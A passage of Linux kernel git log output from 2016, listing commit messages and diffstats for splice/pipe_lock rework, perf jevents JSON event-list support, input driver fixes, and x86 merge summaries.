commit 79fddc4efd5d4de5cf210fe5ecf4d2734140849a Author: Al Viro Date: Sat Sep 17 22:38:20 2016 -0400 new helper: add_to_pipe() single-buffer analogue of splice_to_pipe(); vmsplice_to_pipe() switched to that, leaving splice_to_pipe() only for ->splice_read() instances (and that only until they are converted as well). Signed-off-by: Al Viro fs/splice.c | 106 +++++++++++++++++++++++++++++-------------------- include/linux/splice.h | 2 + 2 files changed, 64 insertions(+), 44 deletions(-) commit 8924feff66f35fe22ce77aafe3f21eb8e5cff881 Author: Al Viro Date: Sat Sep 17 20:44:45 2016 -0400 splice: lift pipe_lock out of splice_to_pipe() * splice_to_pipe() stops at pipe overflow and does *not* take pipe_lock * ->splice_read() instances do the same * vmsplice_to_pipe() and do_splice() (ultimate callers of splice_to_pipe()) arrange for waiting, looping, etc. themselves. That should make pipe_lock the outermost one. Unfortunately, existing rules for the amount passed by vmsplice_to_pipe() and do_splice() are quite ugly _and_ userland code can be easily broken by changing those. It's not even "no more than the maximal capacity of this pipe" - it's "once we'd fed pipe->nr_buffers pages into the pipe, leave instead of waiting". Considering how poorly these rules are documented, let's try "wait for some space to appear, unless given SPLICE_F_NONBLOCK, then push into pipe and if we run into overflow, we are done". Signed-off-by: Al Viro fs/fuse/dev.c | 2 - fs/splice.c | 129 ++++++++++++++++++++++++++-------------------------------- 2 files changed, 58 insertions(+), 73 deletions(-) commit db85a9eb2e364e24e71f94798e85dbaa8111bb4d Author: Al Viro Date: Sat Sep 17 20:25:06 2016 -0400 splice: switch get_iovec_page_array() to iov_iter Signed-off-by: Al Viro fs/splice.c | 135 ++++++++++++++++-------------------------------------------- 1 file changed, 36 insertions(+), 99 deletions(-) commit e7c3c6462406a4de7956cfd8383eb0f2fea1bb6b Author: Al Viro Date: Sat Sep 17 18:57:42 2016 -0400 splice_to_pipe(): don't open-code wakeup_pipe_readers() Signed-off-by: Al Viro fs/splice.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit 4038acdb187e226e72df393ae3dd150df857e8a3 Author: Al Viro Date: Mon Oct 3 20:38:55 2016 -0400 consistent treatment of EFAULT on O_DIRECT read/write Make local filesystems treat a fault as shortened IO, returning -EFAULT only if nothing had been transferred. That's how everything else (NFS, FUSE, ceph, Lustre) behaves. Signed-off-by: Al Viro fs/direct-io.c | 3 +++ 1 file changed, 3 insertions(+) commit 06d839b4f712065d76cba92e7e10e9d771771c5a Author: Sukadev Bhattiprolu Date: Thu Sep 15 15:24:52 2016 -0700 perf tools: Add README for info on parsing JSON/map files Signed-off-by: Sukadev Bhattiprolu Acked-by: Ingo Molnar Acked-by: Jiri Olsa Cc: Madhavan Srinivasan Cc: Peter Zijlstra Cc: linuxppc-dev@lists.ozlabs.org Link: http://lkml.kernel.org/r/1473978296-20712-16-git-send-email-sukadev@linux.vnet.ibm.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/pmu-events/README | 147 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 147 insertions(+) commit dd5f10368a5f27ec926395056d959513ca4578cc Author: Andi Kleen Date: Thu Sep 15 15:24:50 2016 -0700 perf list jevents: Add support for event list topics Add support to group the output of perf list by the Topic field in the JSON file. Example output: % perf list ... Cache: l1d.replacement [L1D data line replacements] l1d_pend_miss.pending [L1D miss oustandings duration in cycles] l1d_pend_miss.pending_cycles [Cycles with L1D load Misses outstanding] l2_l1d_wb_rqsts.all [Not rejected writebacks from L1D to L2 cache lines in any state] l2_l1d_wb_rqsts.hit_e [Not rejected writebacks from L1D to L2 cache lines in E state] l2_l1d_wb_rqsts.hit_m [Not rejected writebacks from L1D to L2 cache lines in M state] ... Pipeline: arith.fpu_div [Divide operations executed] arith.fpu_div_active [Cycles when divider is busy executing divide operations] baclears.any [Counts the total number when the front end is resteered, mainly when the BPU cannot provide a correct prediction and this is corrected by other branch handling mechanisms at the front end] br_inst_exec.all_branches [Speculative and retired branches] br_inst_exec.all_conditional [Speculative and retired macro-conditional branches] br_inst_exec.all_direct_jmp [Speculative and retired macro-unconditional branches excluding calls and indirects] br_inst_exec.all_direct_near_call [Speculative and retired direct near calls] br_inst_exec.all_indirect_jump_non_call_ret Signed-off-by: Andi Kleen Signed-off-by: Sukadev Bhattiprolu Acked-by: Ingo Molnar Acked-by: Jiri Olsa Tested-by: Arnaldo Carvalho de Melo Cc: Madhavan Srinivasan Cc: Peter Zijlstra Cc: linuxppc-dev@lists.ozlabs.org Link: http://lkml.kernel.org/r/1473978296-20712-14-git-send-email-sukadev@linux.vnet.ibm.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/pmu.c | 37 +++++++++++++++++++++++++++---------- tools/perf/util/pmu.h | 1 + 2 files changed, 28 insertions(+), 10 deletions(-) commit c8d6828a6510c9363180ebf662b51d032e0eb85a Author: Sukadev Bhattiprolu Date: Thu Sep 15 15:24:48 2016 -0700 perf list: Support long jevents descriptions Previously we were dropping the useful longer descriptions that some events have in the event list completely. This patch makes them appear with perf list. Old perf list: baclears: baclears.all [Counts the number of baclears] vs new: perf list -v: ... baclears: baclears.all [The BACLEARS event counts the number of times the front end is resteered, mainly when the Branch Prediction Unit cannot provide a correct prediction and this is corrected by the Branch Address Calculator at the front end. The BACLEARS.ANY event counts the number of baclears for any type of branch] Signed-off-by: Andi Kleen Signed-off-by: Sukadev Bhattiprolu Acked-by: Ingo Molnar Acked-by: Jiri Olsa Cc: Madhavan Srinivasan Cc: Peter Zijlstra Cc: linuxppc-dev@lists.ozlabs.org Link: http://lkml.kernel.org/r/1473978296-20712-13-git-send-email-sukadev@linux.vnet.ibm.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/Documentation/perf-list.txt | 6 +++++- tools/perf/builtin-list.c | 16 +++++++++++----- tools/perf/util/parse-events.c | 5 +++-- tools/perf/util/parse-events.h | 3 ++- tools/perf/util/pmu.c | 15 ++++++++++----- tools/perf/util/pmu.h | 4 +++- 6 files changed, 34 insertions(+), 15 deletions(-) commit 794ba54a8393456d503958d6217874e455b6a771 Author: Sukadev Bhattiprolu Date: Thu Sep 15 15:24:47 2016 -0700 perf jevents: Add support for long descriptions Implement support in jevents to parse long descriptions for events that may have them in the JSON files. A follow on patch will make this long description available to user through the 'perf list' command. Signed-off-by: Andi Kleen Signed-off-by: Sukadev Bhattiprolu Acked-by: Ingo Molnar Acked-by: Jiri Olsa Cc: Madhavan Srinivasan Cc: Peter Zijlstra Cc: linuxppc-dev@lists.ozlabs.org Link: http://lkml.kernel.org/r/1473978296-20712-11-git-send-email-sukadev@linux.vnet.ibm.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/pmu-events/jevents.c | 32 ++++++++++++++++++++++++-------- tools/perf/pmu-events/jevents.h | 3 ++- tools/perf/pmu-events/pmu-events.h | 1 + 3 files changed, 27 insertions(+), 9 deletions(-) commit fc06e2a5aad9fcf7efaabd7550ac31f648d2f2bc Author: Andi Kleen Date: Thu Sep 15 15:24:46 2016 -0700 perf pmu: Add override support for event list CPUID Add a PERF_CPUID variable to override the CPUID of the current CPU (within the current architecture). This is useful for testing, so that all event lists can be tested on a single system. Signed-off-by: Andi Kleen Signed-off-by: Sukadev Bhattiprolu Acked-by: Ingo Molnar Acked-by: Jiri Olsa Cc: Madhavan Srinivasan Cc: Peter Zijlstra Cc: linuxppc-dev@lists.ozlabs.org Link: http://lkml.kernel.org/r/1473978296-20712-10-git-send-email-sukadev@linux.vnet.ibm.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/pmu.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit 1c5f01fe8660fc48625a94a5ed10e4dbaea95d5f Author: Andi Kleen Date: Thu Sep 15 15:24:45 2016 -0700 perf list: Add a --no-desc flag Add a --no-desc flag to 'perf list' to not print the event descriptions that were earlier added for JSON events. This may be useful to get a less crowded listing. It's still default to print descriptions as that is the more useful default for most users. Signed-off-by: Andi Kleen Signed-off-by: Sukadev Bhattiprolu Acked-by: Ingo Molnar Acked-by: Jiri Olsa Tested-by: Arnaldo Carvalho de Melo Cc: linuxppc-dev@lists.ozlabs.org Cc: Madhavan Srinivasan Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/1473978296-20712-9-git-send-email-sukadev@linux.vnet.ibm.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/Documentation/perf-list.txt | 8 +++++++- tools/perf/builtin-list.c | 14 +++++++++----- tools/perf/util/parse-events.c | 4 ++-- tools/perf/util/parse-events.h | 2 +- tools/perf/util/pmu.c | 4 ++-- tools/perf/util/pmu.h | 2 +- 6 files changed, 22 insertions(+), 12 deletions(-) commit 61eb2eb434b3430c6ef70536eb3d16b616b5ee52 Author: Andi Kleen Date: Thu Sep 15 15:24:44 2016 -0700 perf tools: Query terminal width and use in perf list Automatically adapt the now wider and word wrapped perf list output to wider terminals. This requires querying the terminal before the auto pager takes over, and exporting this information from the pager subsystem. Signed-off-by: Andi Kleen Signed-off-by: Sukadev Bhattiprolu Acked-by: Ingo Molnar Acked-by: Jiri Olsa Acked-by: Namhyung Kim Tested-by: Arnaldo Carvalho de Melo Cc: Madhavan Srinivasan Cc: Peter Zijlstra Cc: linuxppc-dev@lists.ozlabs.org Link: http://lkml.kernel.org/r/1473978296-20712-8-git-send-email-sukadev@linux.vnet.ibm.com Signed-off-by: Arnaldo Carvalho de Melo tools/lib/subcmd/pager.c | 16 ++++++++++++++++ tools/lib/subcmd/pager.h | 1 + tools/perf/util/pmu.c | 3 ++- 3 files changed, 19 insertions(+), 1 deletion(-) commit 08e60ed15d0483be38a87d17538ccf02acff5b1f Author: Andi Kleen Date: Thu Sep 15 15:24:43 2016 -0700 perf pmu: Support alias descriptions Add support to print alias descriptions in perf list, which are taken from the generated event files. The sorting code is changed to put the events with descriptions at the end. The descriptions are printed as possibly multiple word wrapped lines. Example output: % perf list ... arith.fpu_div [Divide operations executed] arith.fpu_div_active [Cycles when divider is busy executing divide operations] Committer notes: Further testing on a Broadwell machine (ThinkPad t450s), using these files: $ find tools/perf/pmu-events/arch/x86/ tools/perf/pmu-events/arch/x86/ tools/perf/pmu-events/arch/x86/Broadwell tools/perf/pmu-events/arch/x86/Broadwell/Cache.json tools/perf/pmu-events/arch/x86/Broadwell/Other.json tools/perf/pmu-events/arch/x86/Broadwell/Frontend.json tools/perf/pmu-events/arch/x86/Broadwell/Virtual-Memory.json tools/perf/pmu-events/arch/x86/Broadwell/Pipeline.json tools/perf/pmu-events/arch/x86/Broadwell/Floating-point.json tools/perf/pmu-events/arch/x86/Broadwell/Memory.json tools/perf/pmu-events/arch/x86/mapfile.csv $ Taken from: https://github.com/sukadev/linux/tree/json-code+data-v21/tools/perf/pmu-events/arch/x86/ to get this machinery to actually parse JSON files, generate $(OUTPUT)pmu-events/pmu-events.c, compile it and link it with perf, that will then use the table it contains, these files will be submitted right after this patchkit. [acme@jouet linux]$ perf list page_walker List of pre-defined events (to be used in -e): page_walker_loads.dtlb_l1 [Number of DTLB page walker hits in the L1+FB] page_walker_loads.dtlb_l2 [Number of DTLB page walker hits in the L2] page_walker_loads.dtlb_l3 [Number of DTLB page walker hits in the L3 + XSNP] page_walker_loads.dtlb_memory [Number of DTLB page walker hits in Memory] page_walker_loads.itlb_l1 [Number of ITLB page walker hits in the L1+FB] page_walker_loads.itlb_l2 [Number of ITLB page walker hits in the L2] page_walker_loads.itlb_l3 [Number of ITLB page walker hits in the L3 + XSNP] [acme@jouet linux]$ Signed-off-by: Andi Kleen Signed-off-by: Sukadev Bhattiprolu Acked-by: Ingo Molnar Acked-by: Jiri Olsa Tested-by: Arnaldo Carvalho de Melo Cc: Madhavan Srinivasan Cc: Peter Zijlstra Cc: linuxppc-dev@lists.ozlabs.org Link: http://lkml.kernel.org/r/1473978296-20712-7-git-send-email-sukadev@linux.vnet.ibm.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/pmu.c | 83 +++++++++++++++++++++++++++++++++++++++++---------- tools/perf/util/pmu.h | 1 + 2 files changed, 68 insertions(+), 16 deletions(-) commit dc720ffc9863b618a192f5949234c54aad00ed24 Author: Andi Kleen Date: Thu Sep 15 15:24:51 2016 -0700 perf jevents: Handle header line in mapfile To work with existing mapfiles, assume that the first line in 'mapfile.csv' is a header line and skip over it. Signed-off-by: Sukadev Bhattiprolu Acked-by: Ingo Molnar Acked-by: Jiri Olsa Cc: Madhavan Srinivasan Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/1473978296-20712-15-git-send-email-sukadev@linux.vnet.ibm.com Cc: linuxppc-dev@lists.ozlabs.org Signed-off-by: Andi Kleen Signed-off-by: Arnaldo Carvalho de Melo tools/perf/pmu-events/jevents.c | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) commit f9a703a54d16ba2470391c4b12236ee56591d50c Author: Matti Kurkela Date: Mon Oct 3 16:48:17 2016 -0700 Input: elantech - force needed quirks on Fujitsu H760 Just like Fujitsu CELSIUS H730, the H760 also has an Elantech touchpad with the same quirks. Without this patch, the touchpad is useless out-of-the-box as the mouse pointer won't move. This patch makes the driver aware of both the crc_enabled=1 requirement and the middle button, making the touchpad fully functional out-of-the-box. Signed-off-by: Matti Kurkela Cc: stable@vger.kernel.org Signed-off-by: Dmitry Torokhov drivers/input/mouse/elantech.c | 14 ++++++++++++++ 1 file changed, 14 insertions(+) commit 8e4ef6386703835f91898334b72e48649646ec00 Merge: 6aebe7f 6e68b08 Author: Linus Torvalds Date: Mon Oct 3 17:29:01 2016 -0700 Merge branch 'x86-vdso-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull x86 vdso updates from Ingo Molnar: "The main changes in this cycle centered around adding support for 32-bit compatible C/R of the vDSO on 64-bit kernels, by Dmitry Safonov" * 'x86-vdso-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: x86/vdso: Use CONFIG_X86_X32_ABI to enable vdso prctl x86/vdso: Only define map_vdso_randomized() if CONFIG_X86_64 x86/vdso: Only define prctl_map_vdso() if CONFIG_CHECKPOINT_RESTORE x86/signal: Add SA_{X32,IA32}_ABI sa_flags x86/ptrace: Down with test_thread_flag(TIF_IA32) x86/coredump: Use pr_reg size, rather that TIF_IA32 flag x86/arch_prctl/vdso: Add ARCH_MAP_VDSO_* x86/vdso: Replace calculate_addr in map_vdso() with addr x86/vdso: Unmap vdso blob on vvar mapping failure commit ad3cce0641161301b3702bf2d69c0109fa92e8ec Author: Marcos Paulo de Souza Date: Mon Oct 3 16:45:55 2016 -0700 Input: elantech - fix Lenovo version typo Signed-off-by: Marcos Paulo de Souza Reviewed-by: Ulrik De Bie Signed-off-by: Dmitry Torokhov drivers/input/mouse/elantech.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6aebe7f9e8697531a11b007d1e8126ba1b6e0a53 Merge: a6c4e4c 6baf3d6 Author: Linus Torvalds Date: Mon Oct 3 17:27:17 2016 -0700 Merge branch 'x86-timers-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull x86 timer updates from Ingo Molnar: "This tree includes a HPET overhead micro-optimization plus new TSC frequencies for newer Intel CPUs" * 'x86-timers-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: x86/tsc: Add additional Intel CPU models to the crystal quirk list x86/tsc: Use cpu id defines instead of hex constants x86/hpet: Reduce HPET counter read contention commit a6c4e4cd44649b696038326f90161113d8569170 Merge: a8adc0f 65f7422 Author: Linus Torvalds Date: Mon Oct 3 17:22:25 2016 -0700 Merge branch 'x86-platform-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull x86 platform changes from Ingo Molnar: "The main changes in this cycle were: - SGI UV updates (Andrew Banman) - Intel MID updates (Andy Shevchenko) - Initial Mellanox systems platform (Vadim Pasternak)" * 'x86-platform-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: x86/platform/mellanox: Fix return value check in mlxplat_init() x86/platform/mellanox: Introduce support for Mellanox systems platform x86/platform/uv/BAU: Add UV4-specific functions x86/platform/uv/BAU: Fix payload queue setup on UV4 hardware x86/platform/uv/BAU: Disable software timeout on UV4 hardware x86/platform/uv/BAU: Populate ->uvhub_version with UV4 version information x86/platform/uv/BAU: Use generic function pointers x86/platform/uv/BAU: Add generic function pointers x86/platform/uv/BAU: Convert uv_physnodeaddr() use to uv_gpa_to_offset() x86/platform/uv/BAU: Clean up pq_init() x86/platform/uv/BAU: Clean up and update printks x86/platform/uv/BAU: Clean up vertical alignment x86/platform/intel-mid: Keep SRAM powered on at boot x86/platform/intel-mid: Add Intel Penwell to ID table x86/cpu: Rename Merrifield2 to Moorefield x86/platform/intel-mid: Implement power off sequence x86/platform/intel-mid: Enable SD card detection on Merrifield x86/platform/intel-mid: Enable WiFi on Intel Edison x86/platform/intel-mid: Run PWRMU command immediately commit a8adc0f0911227996b3e79690562e6e325e4c09b Merge: 3ef0a61 744c193 Author: Linus Torvalds Date: Mon Oct 3 17:18:52 2016 -0700 Merge branch 'x86-cleanups-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull x86 cleanups from Ingo Molnar: "Header file and a wrapper functions cleanup" * 'x86-cleanups-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: x86: Migrate exception table users off module.h and onto extable.h x86: Clean up various simple wrapper functions commit 3ef0a61a467639cf7def299309cd9ea524c3e1c1 Merge: 1a4a2bc 917db484 Author: Linus Torvalds Date: Mon Oct 3 16:46:53 2016 -0700 Merge branch 'x86-boot-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull x86 boot updates from Ingo Molnar: "The changes in this cycle were: - Save e820 table RAM footprint on larger kernel configurations. (Denys Vlasenko) - pmem related fixes (Dan Williams) - theoretical e820 boundary condition fix (Wei Yang)" * 'x86-boot-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: x86/boot: Fix kdump, cleanup aborted E820_PRAM max_pfn manipulation x86/e820: Use much less memory for e820/e820_saved, save up to 120k x86/e820: Prepare e280 code for switch to dynamic storage x86/e820: Mark some static functions __init x86/e820: Fix very large 'size' handling boundary condition commit c758f96a8c346ac5a6822b521ec92308c5774381 Merge: 9fb6de1 265d426 Author: Dmitry Torokhov Date: Mon Oct 3 16:42:21 2016 -0700 Merge branch 'next' into for-linus Prepare first round of input updates for 4.9 merge window. commit 265d426d7470d53e900379960eef5b4482125089 Author: Benjamin Tissoires Date: Fri Sep 30 16:42:19 2016 -0700 Input: elan_i2c - fix return tests of i2c_smbus_read_block_data() i2c_smbus_read_block_data() returns negative errno else the number of data bytes in the slave's response. Checking for error not null means the function always fails if the device answers properly. So given that we read 3 bytes and access those, better check that we actually read those 3 bytes. Signed-off-by: Benjamin Tissoires Signed-off-by: Dmitry Torokhov drivers/input/mouse/elan_i2c_smbus.c | 20 ++++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) commit 979987ded3a5ae1fb60ef751bdf185c502d70590 Author: Arnd Bergmann Date: Fri Sep 30 15:36:54 2016 -0700 Input: ektf2127 - mark PM functions as __maybe_unused The newly added ektf2127 driver uses the SIMPLE_DEV_PM_OPS macro to conditionally refer to the resume/suspend functions, which causes a warning when CONFIG_PM_SLEEP is disabled: drivers/input/touchscreen/ektf2127.c:168:12: error: 'ektf2127_resume' defined but not used [-Werror=unused-function] drivers/input/touchscreen/ektf2127.c:156:12: error: 'ektf2127_suspend' defined but not used [-Werror=unused-function] We could either put these functions inside of an #ifdef or add __maybe_unused annotations. This uses the second approach, which is generally more foolproof. Fixes: 9ca5bf5029b6 ("Input: add support for Elan eKTF2127 touchscreen controller") Signed-off-by: Arnd Bergmann Signed-off-by: Dmitry Torokhov drivers/input/touchscreen/ektf2127.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 1a4a2bc460721bc8f91e4c1294d39b38e5af132f Merge: 110a9e4 1ef55be1 Author: Linus Torvalds Date: Mon Oct 3 16:13:28 2016 -0700 Merge branch 'x86-asm-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull low-level x86 updates from Ingo Molnar: "In this cycle this topic tree has become one of those 'super topics' that accumulated a lot of changes: - Add CONFIG_VMAP_STACK=y support to the core kernel and enable it on x86 - preceded by an array of changes. v4.8 saw preparatory changes in this area already - this is the rest of the work. Includes the thread stack caching performance optimization. (Andy Lutomirski) - switch_to() cleanups and all around enhancements. (Brian Gerst) - A large number of dumpstack infrastructure enhancements and an unwinder abstraction. The secret long term plan is safe(r) live patching plus maybe another attempt at debuginfo based unwinding - but all these current bits are standalone enhancements in a frame pointer based debug environment as well. (Josh Poimboeuf) - More __ro_after_init and const annotations. (Kees Cook) - Enable KASLR for the vmemmap memory region. (Thomas Garnier)" [ The virtually mapped stack changes are pretty fundamental, and not x86-specific per se, even if they are only used on x86 right now. ] * 'x86-asm-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: (70 commits) x86/asm: Get rid of __read_cr4_safe() thread_info: Use unsigned long for flags x86/alternatives: Add stack frame dependency to alternative_call_2() x86/dumpstack: Fix show_stack() task pointer regression x86/dumpstack: Remove dump_trace() and related callbacks x86/dumpstack: Convert show_trace_log_lvl() to use the new unwinder oprofile/x86: Convert x86_backtrace() to use the new unwinder x86/stacktrace: Convert save_stack_trace_*() to use the new unwinder perf/x86: Convert perf_callchain_kernel() to use the new unwinder x86/unwind: Add new unwind interface and implementations x86/dumpstack: Remove NULL task pointer convention fork: Optimize task creation by caching two thread stacks per CPU if CONFIG_VMAP_STACK=y sched/core: Free the stack early if CONFIG_THREAD_INFO_IN_TASK lib/syscall: Pin the task stack in collect_syscall() x86/process: Pin the target stack in get_wchan() x86/dumpstack: Pin the target stack when dumping it kthread: Pin the stack via try_get_task_stack()/put_task_stack() in to_live_kthread() function sched/core: Add try_get_task_stack() and put_task_stack() x86/entry/64: Fix a minor comment rebase error iommu/amd: Don't put completion-wait semaphore on stack ... commit f33d1227197e0fe9d3682c5a766fdc74559da78e Author: Andi Kleen Date: Thu Sep 15 15:24:42 2016 -0700 perf tools: Support CPU id matching for x86 v2 Implement the code to match CPU types to mapfile types for x86 based on CPUID. This extends an existing similar function, but changes it to use the x86 mapfile cpu description. This allows to resolve event lists generated by jevents. Signed-off-by: Andi Kleen Signed-off-by: Sukadev Bhattiprolu Acked-by: Ingo Molnar Acked-by: Jiri Olsa Cc: Madhavan Srinivasan Cc: Peter Zijlstra Cc: linuxppc-dev@lists.ozlabs.org Link: http://lkml.kernel.org/r/1473978296-20712-6-git-send-email-sukadev@linux.vnet.ibm.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/arch/x86/util/header.c | 24 +++++++++++++++++++++--- 1 file changed, 21 insertions(+), 3 deletions(-) commit ce88f27ccc724fa8e6766fdd4140768931f42f88 Author: Sukadev Bhattiprolu Date: Thu Sep 15 15:24:41 2016 -0700 perf powerpc: Support CPU ID matching for Powerpc Implement code that returns the generic CPU ID string for Powerpc. This will be used to identify the specific table of PMU events to parse/compare user specified events against. Signed-off-by: Sukadev Bhattiprolu Acked-by: Ingo Molnar Acked-by: Jiri Olsa Cc: Madhavan Srinivasan Cc: Peter Zijlstra Cc: linuxppc-dev@lists.ozlabs.org Link: http://lkml.kernel.org/r/1473978296-20712-5-git-send-email-sukadev@linux.vnet.ibm.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/arch/powerpc/util/header.c | 11 +++++++++++ 1 file changed, 11 insertions(+) commit 933f82ff72d7d1641663462f61f3056ee1fe3f8b Author: Sukadev Bhattiprolu Date: Thu Sep 15 15:24:40 2016 -0700 perf pmu: Use pmu_events table to create aliases At run time (when 'perf' is starting up), locate the specific table of PMU events that corresponds to the current CPU. Using that table, create aliases for the each of the PMU events in the CPU. The use these aliases to parse the user specified perf event. In short this would allow the user to specify events using their aliases rather than raw event codes. Based on input and some earlier patches from Andi Kleen, Jiri Olsa. Signed-off-by: Sukadev Bhattiprolu Acked-by: Ingo Molnar Acked-by: Jiri Olsa Cc: Madhavan Srinivasan Cc: Peter Zijlstra Cc: linuxppc-dev@lists.ozlabs.org Link: http://lkml.kernel.org/r/1473978296-20712-4-git-send-email-sukadev@linux.vnet.ibm.com [ Make pmu_add_cpu_aliases() return void, since it was returning just '0' and furthermore, even that was being discarded via an explicit (void) cast ] Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/header.h | 1 + tools/perf/util/pmu.c | 60 ++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 61 insertions(+) commit 80eeb67fe577aa76b2d1bb5b029bca097f0f25bc Author: Andi Kleen Date: Mon Sep 19 17:39:33 2016 -0300 perf jevents: Program to convert JSON file This is a modified version of an earlier patch by Andi Kleen. We expect architectures to create JSON files describing the performance monitoring (PMU) events that each CPU model/family of the architecture supports. Following is an example of the JSON file entry for an x86 event: [ ... { "EventCode": "0x00", "UMask": "0x01", "EventName": "INST_RETIRED.ANY", "BriefDescription": "Instructions retired from execution.", "PublicDescription": "Instructions retired from execution.", "Counter": "Fixed counter 1", "CounterHTOff": "Fixed counter 1", "SampleAfterValue": "2000003", "SampleAfterValue": "2000003", "MSRIndex": "0", "MSRValue": "0", "TakenAlone": "0", "CounterMask": "0", "Invert": "0", "AnyThread": "0", "EdgeDetect": "0", "PEBS": "0", "PRECISE_STORE": "0", "Errata": "null", "Offcore": "0" }, ... ] All the PMU events supported by a CPU model/family must be grouped into "topics" such as "Pipelining", "Floating-point", "Virtual-memory" etc. All events belonging to a topic must be placed in a separate JSON file (eg: "Pipelining.json") and all the topic JSON files for a CPU model must be in a separate directory. Eg: for the CPU model "Silvermont_core": $ ls tools/perf/pmu-events/arch/x86/Silvermont_core Floating-point.json Memory.json Other.json Pipelining.json Virtualmemory.json Finally, to allow multiple CPU models to share a single set of JSON files, architectures must provide a mapping between a model and its set of events: $ grep Silvermont tools/perf/pmu-events/arch/x86/mapfile.csv GenuineIntel-6-4D,V13,Silvermont_core,core GenuineIntel-6-4C,V13,Silvermont_core,core which maps each CPU, identified by [vendor, family, model, version, type] to a directory of JSON files. Thus two (or more) CPU models support the set of PMU events listed in the directory. tools/perf/pmu-events/arch/x86/Silvermont_core/ Given this organization of files, the program, jevents: - locates all JSON files for each CPU-model of the architecture, - parses all JSON files for the CPU-model and generates a C-style "PMU-events table" (pmu-events.c) for the model - locates a mapfile for the architecture - builds a global table, mapping each model of CPU to the corresponding PMU-events table. The 'pmu-events.c' is generated when building perf and added to libperf.a. The global table pmu_events_map[] table in this pmu-events.c will be used in perf in a follow-on patch. If the architecture does not have any JSON files or there is an error in processing them, an empty mapping file is created. This would allow the build of perf to proceed even if we are not able to provide aliases for events. The parser for JSON files allows parsing Intel style JSON event files. This allows to use an Intel event list directly with perf. The Intel event lists can be quite large and are too big to store in unswappable kernel memory. The conversion from JSON to C-style is straight forward. The parser knows (very little) Intel specific information, and can be easily extended to handle fields for other CPUs. The parser code is partially shared with an independent parsing library, which is 2-clause BSD licensed. To avoid any conflicts I marked those files as BSD licensed too. As part of perf they become GPLv2. Committer notes: Fixes: 1) Limit maxfds to 512 to avoid nftd() segfaulting on alloca() with a big rlim_max, as in docker containers - acme 2) Make jevents a hostprog, supporting cross compilation - jolsa 3) Use HOSTCC for jevents final step - acme 4) Define _GNU_SOURCE for asprintf, as we can't use CC's EXTRA_CFLAGS, that has to have --sysroot on the Android NDK 24 - acme 5) Removed $(srctree)/tools/perf/pmu-events/pmu-events.c from the 'clean' target, it is generated on $(OUTPUT)pmu-events/pmu-events.c, which is already taken care of in the original patch - acme Signed-off-by: Andi Kleen Signed-off-by: Jiri Olsa Signed-off-by: Sukadev Bhattiprolu Tested-by: Arnaldo Carvalho de Melo Acked-by: Ingo Molnar Cc: Peter Zijlstra Cc: Madhavan Srinivasan Cc: linuxppc-dev@lists.ozlabs.org Link: http://lkml.kernel.org/r/1473978296-20712-3-git-send-email-sukadev@linux.vnet.ibm.com Link: http://lkml.kernel.org/r/20160927141846.GA6589@krava Signed-off-by: Arnaldo Carvalho de Melo tools/perf/Makefile.perf | 34 +- tools/perf/pmu-events/Build | 13 + tools/perf/pmu-events/jevents.c | 767 +++++++++++++++++++++++++++++++++++++ tools/perf/pmu-events/jevents.h | 17 + tools/perf/pmu-events/json.h | 6 + tools/perf/pmu-events/pmu-events.h | 36 ++ 6 files changed, 869 insertions(+), 4 deletions(-) commit 6bcf3f63394b9c4f133e4499349d786d7f531473 Author: John Crispin Date: Mon Sep 12 11:36:55 2016 +0200 pinctrl: qcom: fix masking of pinmux functions The following commit introduced a regression by not properly masking the calculated value. Fixes: 47a01ee9a6c3 ("pinctrl: qcom: Clear all function selection bits") Signed-off-by: John Crispin Reviewed-by: Bjorn Andersson Reviewed-by: Stephen Boyd Signed-off-by: Linus Walleij drivers/pinctrl/qcom/pinctrl-msm.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 110a9e42b68719f584879c5c5c727bbae90d15f9 Merge: af79ad2 eb6296d Author: Linus Torvalds Date: Mon Oct 3 15:36:06 2016 -0700 Merge branch 'x86-apic-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull x86 apic updates from Ingo Molnar: "The main changes are: - Persistent CPU/node numbering across CPU hotplug/unplug events. This is a pretty involved series of changes that first fetches all the information during bootup and then uses it for the various hotplug/unplug methods. (Gu Zheng, Dou Liyang) - IO-APIC hot-add/remove fixes and enhancements. (Rui Wang) - ... various fixes, cleanups and enhancements" * 'x86-apic-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: (22 commits) x86/apic: Fix silent & fatal merge conflict in __generic_processor_info() acpi: Fix broken error check in map_processor() acpi: Validate processor id when mapping the processor acpi: Provide mechanism to validate processors in the 